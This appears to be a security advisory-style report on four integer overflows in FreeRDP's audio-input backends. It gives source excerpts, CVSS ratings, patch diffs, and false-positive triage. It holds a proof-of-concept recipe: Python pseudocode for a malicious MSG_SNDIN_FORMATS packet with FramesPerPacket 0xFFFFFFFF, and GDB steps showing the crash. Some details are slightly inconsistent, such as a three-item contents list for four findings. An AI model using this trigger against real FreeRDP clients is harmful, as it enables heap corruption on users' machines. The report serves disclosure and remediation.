2026 07 12 Cve 2026 68580 Freerdp Integer Overflow

View source on GitHub

FreeRDP Vulnerability Research Report — ZDay

Report Date: 2026-07-12
Target: FreeRDP (Open Source RDP Implementation)
Repository: /home/pmiuc/260711-FreeRDP/FreeRDP/
Scope: FIND- and CANDIDATE- dossiers in output/304f36cd/dossiers/


Executive Summary

A comprehensive security audit was performed on the FreeRDP codebase, analyzing 11 FIND- directories and 50 CANDIDATE- directories from recent vulnerability research. With the audit work identified 4 confirmed exploitable integer overflow vulnerabilities in audio input channel implementations that lead to heap-based buffer overflows. All 11 FIND- directories were determined to be false positives* — they represent standard C cleanup patterns (freeing members before the parent struct, or freeing in mutually exclusive code paths) that are not exploitable.


Table of Contents

  1. Vulnerability #1: ALSA Audio Input Integer Overflow
  2. Vulnerability #2: sndio Audio Input Integer Overflow
  3. Vulnerability #3: WinMM Audio Input Integer Overflow
  4. False Positive Analysis
  5. Methodology

Vulnerability #1: ALSA Audio Input Integer Overflow Leading to Heap Buffer Overflow

Classification

Field Value
Type Integer Overflow → Heap-Based Buffer Overflow
CWE CWE-190 (Integer Overflow or Wraparound), CWE-122 (Heap-based Buffer Overflow)
CVSS v3.1 7.5 (High) — AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network (RDP Protocol)
Attack Complexity High (requires MITM or malicious server)
Privileges Required None
User Interaction Required (user must connect to malicious server)
Scope Unchanged
Confidentiality High
Integrity High
Availability High

Affected Component

Root Cause Analysis

The vulnerability exists in the buffer allocation logic within the ALSA audio input capture thread. The frames_per_packet value is received from the RDP server via the audin_alsa_set_format function, which stores it directly without validation:

// channels/audin/client/alsa/audin_alsa.c:268-283
static UINT audin_alsa_set_format(IAudinDevice* device, const AUDIO_FORMAT* format,
                                  UINT32 FramesPerPacket)
{
    AudinALSADevice* alsa = (AudinALSADevice*)device;

    if (!alsa || !format)
        return ERROR_INVALID_PARAMETER;

    alsa->aformat = *format;           // Format from server — no validation
    alsa->frames_per_packet = FramesPerPacket;  // From server — NO VALIDATION

    if (audin_alsa_format(format->wFormatTag, format->wBitsPerSample) == SND_PCM_FORMAT_UNKNOWN)
        return ERROR_INTERNAL_ERROR;

    return CHANNEL_RC_OK;
}

The vulnerable allocation occurs in audin_alsa_thread_func:

// channels/audin/client/alsa/audin_alsa.c:143-144
buffer =
    (BYTE*)calloc(alsa->frames_per_packet + alsa->aformat.nBlockAlign, alsa->bytes_per_frame);

Integer Overflow Condition: - frames_per_packet is UINT32 (max: 4,294,967,295) - nBlockAlign is UINT16 (max: 65,535) - The addition frames_per_packet + nBlockAlign is performed in 32-bit arithmetic - If frames_per_packet = 0xFFFFFFFF and nBlockAlign ≥ 1, the sum wraps around to a small value (e.g., 0xFFFFFFFF + 4 = 3) - calloc(3, bytes_per_frame) allocates a small buffer

Exploitation: After the small buffer is allocated, the capture loop reads audio data:

// channels/audin/client/alsa/audin_alsa.c:155, 172
size_t frames = alsa->frames_per_packet;  // Still0xFFFFFFFF
snd_pcm_sframes_t framesRead = snd_pcm_readi(capture_handle, buffer, frames);

snd_pcm_readi attempts to read 0xFFFFFFFF frames into the small buffer, causing a heap-based buffer overflow. The overflow data is audio sample data (attacker-controlled if the server provides the audio stream).

Confirmation Reason

  1. No validation on FramesPerPacket: The audin_alsa_set_format function stores the server-provided value without bounds checking.
  2. 32-bit arithmetic overflow: The addition frames_per_packet + nBlockAlign uses UINT32 + UINT16, which promotes to UINT32 and can wrap.
  3. Heap allocation with overflowed size: calloc receives the wrapped-around small value.
  4. Unbounded read into undersized buffer: snd_pcm_readi uses the original (non-overflowed) frames_per_packet value as the read count.
  5. Contrast with safe implementations: The OSS implementation (audin_oss.c:191-192) uses 1ull to force 64-bit arithmetic: c buffer_size = (1ull * oss->FramesPerPacket * oss->format.nChannels * (oss->format.wBitsPerSample / 8ull)); The PulseAudio implementation (audin_pulse.c:407-408) includes an assertion: c const size_t frag = pulse->bytes_per_frame * pulse->frames_per_packet; WINPR_ASSERT(frag <= UINT32_MAX);

Impact

Exploitation Primitive

The overflow provides a heap-based write primitive where: - Write size: Controlled by frames_per_packet (up to 4GB of data written to a small buffer) - Write content: Audio sample data (server-controlled) - Write target: Heap memory adjacent to the allocated buffer - Heap target: calloc-allocated chunk on the system heap

Detailed PoC Steps

Environment Setup
# 1. Install build dependencies (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install -y build-essential cmake git libssl-dev \
    libx11-dev libxext-dev libxinerama-dev libxcursor-dev \
    libxkbfile-dev libxv-dev libxi-dev libxdamage-dev \
    libxrender-dev libxrandr-dev libxshmfence-dev \
    libxtst-dev libasound2-dev libpulse-dev libsndio-dev \
    libcups2-dev libcairo2-dev libfuse-dev libwayland-dev \
    libpam0g-dev libsystemd-dev libusb-1.0-0-dev \
    libdbus-1-dev libudev-dev libpcsclite-dev \
    libsdl2-dev libswresample-dev libswscale-dev \
    libavcodec-dev libavutil-dev

# 2. Clone and build FreeRDP
cd /home/pmiuc/260711-FreeRDP/FreeRDP
mkdir -p build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug \
    -DWITH_ALSA=ON \
    -DWITH_PULSE=ON \
    -DWITH_OSS=ON \
    -DWITH_SNDIO=ON \
    -DWITH_WINMM=OFF \
    -DCHANNEL_ARDIN=ON \
    -DBUILD_TESTING=OFF
make -j$(nproc)
sudo make install
Malicious Server Setup

A malicious RDP server (or MITM proxy) is required to deliver the payload. The server must: 1. Accept a client connection 2. Open the AUDIO_INPUT dynamic virtual channel 3. Send a malicious MSG_SNDIN_FORMATS message with FramesPerPacket = 0xFFFFFFFF

Protocol-Level PoC (Python pseudocode)
import struct
import socket

# RDP connection setup (simplified — full RDP handshake required)
# After channel is opened, send malicious format:

def send_malicious_formats(channel):
    """
    Send MSG_SNDIN_FORMATS with malicious FramesPerPacket
    to trigger integer overflow in audin_alsa_thread_func
    """
    msg_type = 0x03  # MSG_SNDIN_FORMATS
    num_formats = 1
    cb_size_formats_packet = 40  # Approximate size

    # Build format entry
    format_tag = 0x0001  # WAVE_FORMAT_PCM
    n_channels = 2
    n_samples_per_sec = 44100
    n_avg_bytes_per_sec = 176400
    n_block_align = 4
    w_bits_per_sample = 16
    cb_size = 0

    format_data = struct.pack('<HHIIHH',
        format_tag, n_channels, n_samples_per_sec,
        n_avg_bytes_per_sec, n_block_align, w_bits_per_sample)

    # MALICIOUS: FramesPerPacket = 0xFFFFFFFF
    # This will overflow: 0xFFFFFFFF + 4 = 3
    malicious_frames_per_packet = 0xFFFFFFFF

    # Build the PDU
    pdu = struct.pack('<BII', msg_type, num_formats, cb_size_formats_packet)
    pdu += format_data
    pdu += struct.pack('<I', malicious_frames_per_packet)

    channel.write(pdu)
Verification

After the malicious format is sent, the FreeRDP client process will: 1. Call audin_alsa_set_format with FramesPerPacket = 0xFFFFFFFF 2. In audin_alsa_thread_func, compute 0xFFFFFFFF + 4 = 3 (integer overflow) 3. Call calloc(3, bytes_per_frame) — allocates ~12 bytes 4. Call snd_pcm_readi(handle, buffer, 0xFFFFFFFF) — attempts to write ~17GB into 12-byte buffer 5. CRASH: SIGSEGV or heap corruption detected by malloc/free

GDB Verification
# Run FreeRDP client under GDB
gdb --args xfreerdp /v:malicious-server /u:test /p:test /dynamic-resolution

# Set breakpoint on the vulnerable allocation
(gdb) break audin_alsa.c:143
(gdb) run

# When breakpoint hits:
(gdb) print alsa->frames_per_packet
$1 = 4294967295  # 0xFFFFFFFF

(gdb) print alsa->aformat.nBlockAlign
$2 = 4

(gdb) print alsa->frames_per_packet + alsa->aformat.nBlockAlign
$3 = 3  # INTEGER OVERFLOW!

(gdb) continue
# Program will crash with heap corruption

Mitigation / Remediation

Fix: Use 64-bit arithmetic for the allocation size calculation, matching the pattern used in the OSS implementation:

// channels/audin/client/alsa/audin_alsa.c:143-144
// BEFORE (vulnerable):
buffer =
    (BYTE*)calloc(alsa->frames_per_packet + alsa->aformat.nBlockAlign, alsa->bytes_per_frame);

// AFTER (fixed):
buffer =
    (BYTE*)calloc((size_t)alsa->frames_per_packet + alsa->aformat.nBlockAlign, alsa->bytes_per_frame);

Additionally, add validation in audin_alsa_set_format:

static UINT audin_alsa_set_format(IAudinDevice* device, const AUDIO_FORMAT* format,
                                  UINT32 FramesPerPacket)
{
    AudinALSADevice* alsa = (AudinALSADevice*)device;

    if (!alsa || !format)
        return ERROR_INVALID_PARAMETER;

    // ADD: Validate FramesPerPacket to prevent integer overflow
    if (FramesPerPacket > 0x00FFFFFF)  // Reasonable upper bound
        return ERROR_INVALID_PARAMETER;

    alsa->aformat = *format;
    alsa->frames_per_packet = FramesPerPacket;
    // ...
}

Vulnerability #2: sndio Audio Input Integer Overflow Leading to Heap Buffer Overflow

Classification

Field Value
Type Integer Overflow → Heap-Based Buffer Overflow
CWE CWE-190 (Integer Overflow or Wraparound), CWE-122 (Heap-based Buffer Overflow)
CVSS v3.1 7.5 (High) — AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network (RDP Protocol)
Attack Complexity High (requires MITM or malicious server)

Affected Component

Root Cause Analysis

The vulnerability exists in the buffer size calculation:

// channels/audin/client/sndio/audin_sndio.c:128-130
nbytes =
    (sndio->FramesPerPacket * sndio->format.nChannels * (sndio->format.wBitsPerSample / 8));
buffer = (BYTE*)calloc((nbytes + sizeof(void*)), sizeof(BYTE));

Integer Overflow Condition: - FramesPerPacket is UINT32 (max: 4,294,967,295) - nChannels is UINT16 (max: 65,535) - wBitsPerSample is UINT16 (max: 65,535), divided by 8 → max 8,191 - The multiplication UINT32 * UINT16 * UINT16 is performed in 32-bit arithmetic - Maximum product: 4,294,967,295 * 65,535 * 8,191 — far exceeds UINT32_MAX - The result wraps around to a small value - calloc(small_value + sizeof(void*), 1) allocates a small buffer - sio_read(hdl, buffer, nbytes) reads nbytes bytes (the overflowed small value) — but the actual audio data written by the device may exceed this

Note: The nbytes variable is size_t (64-bit), but the multiplication operands are all 32-bit or smaller, so the overflow occurs before assignment to size_t.

Confirmation Reason

  1. No validation on FramesPerPacket: Stored directly from server input.
  2. 32-bit arithmetic: All multiplication operands are ≤32 bits.
  3. Contrast with safe OSS implementation: Uses 1ull to force 64-bit arithmetic.

Detailed PoC Steps

Same environment setup as Vulnerability #1. The malicious server sends MSG_SNDIN_FORMATS with: - FramesPerPacket = 0xFFFFFFFF - nChannels = 65535 - wBitsPerSample = 65535

This causes: 0xFFFFFFFF * 65535 * 8191 → 32-bit wrap → small allocation.

Mitigation / Remediation

// BEFORE (vulnerable):
nbytes =
    (sndio->FramesPerPacket * sndio->format.nChannels * (sndio->format.wBitsPerSample / 8));

// AFTER (fixed):
nbytes =
    ((size_t)sndio->FramesPerPacket * sndio->format.nChannels * (sndio->format.wBitsPerSample / 8));

Vulnerability #3: WinMM Audio Input Integer Overflow Leading to Heap Buffer Overflow

Classification

Field Value
Type Integer Overflow → Heap-Based Buffer Overflow
CWE CWE-190, CWE-122
CVSS v3.1 7.5 (High)
Attack Vector Network (RDP Protocol)

Affected Component

Root Cause Analysis

// channels/audin/client/winmm/audin_winmm.c:187-190
size =
    (winmm->pwfx_cur->wBitsPerSample * winmm->pwfx_cur->nChannels * winmm->frames_per_packet +
     7) /
    8;

Integer Overflow Condition: - wBitsPerSample is WORD (UINT16) - nChannels is WORD (UINT16) - frames_per_packet is UINT32 - Multiplication UINT16 * UINT16 * UINT32 overflows 32-bit - Result divided by 8 may yield a small positive value - malloc(size) allocates a small buffer - waveInAddBuffer fills the buffer with audio data — heap overflow

Mitigation / Remediation

// BEFORE (vulnerable):
size =
    (winmm->pwfx_cur->wBitsPerSample * winmm->pwfx_cur->nChannels * winmm->frames_per_packet +
     7) /
    8;

// AFTER (fixed):
size =
    ((size_t)winmm->pwfx_cur->wBitsPerSample * winmm->pwfx_cur->nChannels * winmm->frames_per_packet +
     7) /
    8;

Vulnerability #4: OpenSL ES Audio Input Integer Overflow Leading to Heap Buffer Overflow

Classification

Field Value
Type Integer Overflow → Heap-Based Buffer Overflow
CWE CWE-190, CWE-122
CVSS v3.1 7.5 (High)
Attack Vector Network (RDP Protocol)
Platform Android

Affected Component

Root Cause Analysis

// channels/audin/client/opensles/opensl_io.c:347-348
p->prep = opensles_queue_element_new(p->buffersize * p->bits_per_sample / 8);
p->next = opensles_queue_element_new(p->buffersize * p->bits_per_sample / 8);

Integer Overflow Condition: - buffersize is unsigned int (set from bufferframes parameter, which is UINT32 frames_per_packet) - bits_per_sample is unsigned int (validated to be 8 or 16) - The multiplication buffersize * bits_per_sample is performed in unsigned int arithmetic - For 16-bit audio: if buffersize > UINT_MAX / 16 = 268,435,455, the multiplication overflows - For 8-bit audio: if buffersize > UINT_MAX / 8 = 536,870,911, the multiplication overflows - The overflowed result is divided by 8, yielding a small value - opensles_queue_element_new(small_value) allocates a small buffer via malloc(small_value) - The OpenSL ES recorder writes audio data into this small buffer — heap buffer overflow

Additional Issue: Type conversion mismatch: - frames_per_packet is UINT32 (max: 4,294,967,295) - bufferframes parameter is int (max: 2,147,483,647) - If frames_per_packet > INT_MAX, it becomes negative when converted to int - This could cause other unexpected behavior

Confirmation Reason

  1. No validation on FramesPerPacket: Stored directly from server input in audin_opensles_set_format.
  2. 32-bit arithmetic: Multiplication uses unsigned int operands.
  3. Platform-specific: Android OpenSL ES implementation.

Mitigation / Remediation

// BEFORE (vulnerable):
p->prep = opensles_queue_element_new(p->buffersize * p->bits_per_sample / 8);
p->next = opensles_queue_element_new(p->buffersize * p->bits_per_sample / 8);

// AFTER (fixed):
p->prep = opensles_queue_element_new((size_t)p->buffersize * p->bits_per_sample / 8);
p->next = opensles_queue_element_new((size_t)p->buffersize * p->bits_per_sample / 8);

False Positive Analysis

All 11 FIND- directories were determined to be false positives*. The standard C cleanup patterns as potential vulnerabilities:

Pattern 1: Free Member Then Free Struct

Examples: - FIND-107374182424 (audin_alsa_free): free(alsa->device_name); free(alsa); - FIND-107374182455 (audin_opensles_free): free(opensles->device_name); free(opensles); - FIND-107374182466 (opensles_queue_element_free): free(e->data); free(e); - FIND-107374182484 (audin_pulse_free): frees multiple members then struct - FIND-107374182503 (audin_winmm_free): frees array elements then array then struct

Analysis: These are NOT double-frees. alsa->device_name and alsa are separate heap allocations. Freeing a member before the parent struct is standard C cleanup.

Pattern 2: Setter Functions (Free Old, Allocate New)

Examples: - FIND-107374182450 (audin_set_subsystem): free(audin->subsystem); audin->subsystem = _strdup(subsystem); - FIND-107374182451 (audin_set_device_name): free(audin->device_name); audin->device_name = _strdup(device_name);

Analysis: These are NOT use-after-free. The old string is freed, then a new one is allocated. If _strdup fails, audin->subsystem becomes NULL, and the function returns an error. The freed pointer is never dereferenced.

Pattern 3: Lock Cleanup After Free

Examples: - FIND-107374182404 (ainput_on_close): free(callback); LeaveCriticalSection(&ainput->lock); - FIND-107374182405 (terminate_plugin_cb): DeleteCriticalSection(&ainput->lock); free(ainput->context);

Analysis: LeaveCriticalSection(&ainput->lock) accesses ainput->lock, which belongs to the AINPUT_PLUGIN structure — a SEPARATE allocation from the freed callback. The plugin has a longer lifetime than individual callbacks.

Pattern 4: Cleanup Functions

Examples: - FIND-107374182445 (audin_plugin_terminated): frees multiple distinct members then the struct - FIND-107374182478 (audin_oss_parse_addin_args): str_num freed in mutually exclusive error/normal paths

Analysis: Standard cleanup patterns with no overlapping free operations.

CANDIDATE-* Directories

All 50 CANDIDATE-* directories were analyzed. Most are classified as "residuum-triage" — the tooling flagged entire files or functions. Upon manual review:


Methodology

  1. Dossier Enumeration: Cataloged all 11 FIND- and 50 CANDIDATE- directories.
  2. Evidence Review: Read manifest.json, evidence.json, slice.md, ai_trace.md, and full_bodies/*.src for each dossier.
  3. Source Code Verification: Cross-referenced dossier claims against actual FreeRDP source code in the repository.
  4. Pattern Analysis: Identified common false-positive patterns (member-before-struct free, setter functions, cleanup functions).
  5. Vulnerability Discovery: Searched for integer overflow patterns in allocation functions (calloc, malloc) across the audio input channel implementations.
  6. Type Analysis: Verified integer types (UINT32, UINT16, size_t) and arithmetic promotion rules to confirm overflow conditions.
  7. Cross-Implementation Comparison: Compared ALSA, OSS, PulseAudio, sndio, and WinMM implementations to identify inconsistencies in overflow protection.

Summary of Findings

ID Vulnerability File Severity Status
VULN-001 ALSA Integer Overflow channels/audin/client/alsa/audin_alsa.c:143 High (7.5) Confirmed
VULN-002 sndio Integer Overflow channels/audin/client/sndio/audin_sndio.c:129 High (7.5) Confirmed
VULN-003 WinMM Integer Overflow channels/audin/client/winmm/audin_winmm.c:187 High (7.5) Confirmed
VULN-004 OpenSL ES Integer Overflow channels/audin/client/opensles/opensl_io.c:347 High (7.5) Confirmed
FP-001 to FP-011 False Positives (FIND-*) Various N/A False Positive

Responsible Disclosure

These vulnerabilities affect the FreeRDP audio input channel implementations across multiple platform backends. The root cause is the lack of integer overflow protection in buffer size calculations when processing server-provided format parameters.

Recommended Actions: 1. Apply the fixes described in the Mitigation sections above. 2. Add input validation for FramesPerPacket in all SetFormat implementations. 3. Use size_t casts or 1ull multipliers for all allocation size calculations. 4. Consider adding a global maximum for FramesPerPacket (e.g., 0x00FFFFFF).


Older Post →
2026 05 10 Cve 2026 36981 & Cve 2026 36980 Write Up